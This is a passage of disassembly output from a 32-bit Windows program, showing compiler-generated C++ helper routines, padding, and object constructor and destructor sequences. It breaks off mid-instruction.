loc_4160D5 mov edi, esi loc_4160D5: ; CODE XREF: ___:004160D1j push esi call sub_401249 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_4160EA mov edi, esi loc_4160EA: ; CODE XREF: ___:004160E6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416110 proc near ; CODE XREF: sub_401E33j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416110 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416130 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416150 proc near ; CODE XREF: sub_402144j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416150 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416170 proc near ; CODE XREF: sub_401E97j mov eax, ecx retn sub_416170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416190 proc near ; CODE XREF: sub_401CDAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018C5 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4161C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161F0 proc near ; CODE XREF: sub_401EC4j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4161F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416220 proc near ; CODE XREF: sub_401D11j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017DF mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DB6 sub_416220 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017DF push edi mov [eax], ebx call sub_4017DF mov edi, [eax] push edi call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017E4 add esp, 4 mov ecx, esi push eax call sub_401E15 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D7A mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4162C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EBF mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BCC push esi mov ebx, eax call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [ebx] push esi mov [eax], edx call sub_4017DF push esi mov ebx, eax call sub_401BCC mov eax, [eax] push eax call sub_4017DF mov ecx, [ebx] push esi mov [eax], ecx call sub_4017E4 add esp, 1Ch mov ecx, edi push eax call sub_401401 push esi mov ecx, edi call sub_401F14 sub_4162C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_40140Bj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4163DA loc_416398: ; CODE XREF: sub_416380+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EBF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416398 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_416380+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416380 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416410 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401EBA sub_416410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416425 mov edi, esi loc_416425: ; CODE XREF: ___:00416421j push esi call sub_401BCC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41643A mov edi, esi loc_41643A: ; CODE XREF: ___:00416436j push esi call sub_4017DF add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416460 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401866 sub_416460 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416480 proc near ; CODE XREF: sub_401BCCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416480 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164A0 proc near ; CODE XREF: sub_4017E4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4164A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164C0 proc near ; CODE XREF: sub_401E42j mov eax, ecx retn sub_4164C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_401D7Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401618 mov eax, esi pop esi retn 4 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416510 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416540 proc near ; CODE XREF: sub_401456j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416590 proc near ; CODE XREF: sub_4020F4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4165C0 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4165C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165E0 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4165E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416610 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416610 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416630 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416630 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416650 proc near ; CODE XREF: sub_401A5Fj mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_416650 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416670 proc near ; CODE XREF: sub_40210Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166A0 proc near ; CODE XREF: sub_401CBCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E74 neg al sbb eax, eax inc eax retn 4 sub_4166A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401C62j mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_4015AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_4015F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40205E add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_401D61j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_401F8Cj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_4017DFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4167F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416810 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416810 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416840 proc near ; CODE XREF: sub_401866j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416840 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416860 proc near ; CODE XREF: sub_401E15j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020EA add esp, 8 retn 8 sub_416860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416890 proc near ; CODE XREF: sub_401401j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416890 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168B0 proc near ; CODE XREF: sub_401618j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4168B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4168D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168F0 proc near ; CODE XREF: sub_401E74j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4168F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416920 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41693B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41693B: ; CODE XREF: sub_416920+11j retn sub_416920 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416970 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41698B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41698B: ; CODE XREF: sub_416970+11j retn sub_416970 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4169C0 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4169DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4169DB: ; CODE XREF: sub_4169C0+11j retn sub_4169C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh) dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416A90: ; CODE XREF: ___:00401C58j push 0FFFFFFFFh push offset loc_43B2E1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021FD ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401F00 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_401776 lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_402013 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401E06 lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_401889 lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F46 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B3B lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017DA lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018D9 lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401ECE lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402239 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017AD lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A32 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C5 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401EA1 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014FB lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AFA ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401CA3 ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401938 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_401447 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D00 proc near ; CODE XREF: sub_401A32j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43F050 test eax, eax jle short loc_416D17 push eax nop call near ptr 71AB9639h loc_416D17: ; CODE XREF: sub_416D00+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A32 test [esp+4+arg_0], 1 jz short loc_416D48 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416D48: ; CODE XREF: sub_416D30+Dj mov eax, esi pop esi retn 4 sub_416D30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D60 proc near ; CODE XREF: sub_4017ADj push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43F05C test eax, eax jle short loc_416D77 push eax nop call near ptr 71AB9639h loc_416D77: ; CODE XREF: sub_416D60+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D90: ; CODE XREF: ___:00401631j ; ___:loc_401CADj push esi mov esi, ecx call sub_4017AD test byte ptr [esp+8], 1 jz short loc_416DA8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DA8: ; CODE XREF: ___:00416D9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416DC0 proc near ; CODE XREF: sub_401776j mov dword ptr [ecx], offset off_43F068 jmp sub_40204F sub_416DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416DE0: ; CODE XREF: ___:loc_401929j ; ___:004021ADj push esi mov esi, ecx call sub_401776 test byte ptr [esp+8], 1 jz short loc_416DF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DF8: ; CODE XREF: ___:00416DEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_401889j mov dword ptr [ecx], offset off_43F074 add ecx, 4 jmp sub_401023 sub_416E10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416E30: ; CODE XREF: ___:00401E60j push 0FFFFFFFFh push offset loc_43B4C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_4020BD ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015E6 lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_402018 ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_401A00 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_401587 lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_40164F lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401780 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_40169F lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_40182F lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016BD lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_40141F lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D25 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A91 lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CB7 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402121 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_40157D lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_401799 lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_40142E lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_40142E lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_40142E lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_40142E lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401B0E ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4170B0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4170B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B1D sub_4170B0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417120 proc near ; CODE XREF: sub_401938j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40208B lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40208B lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40208B lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40208B lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40208B mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AE6 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AE6 lea ecx, [esi+0A96h] mov byte ptr 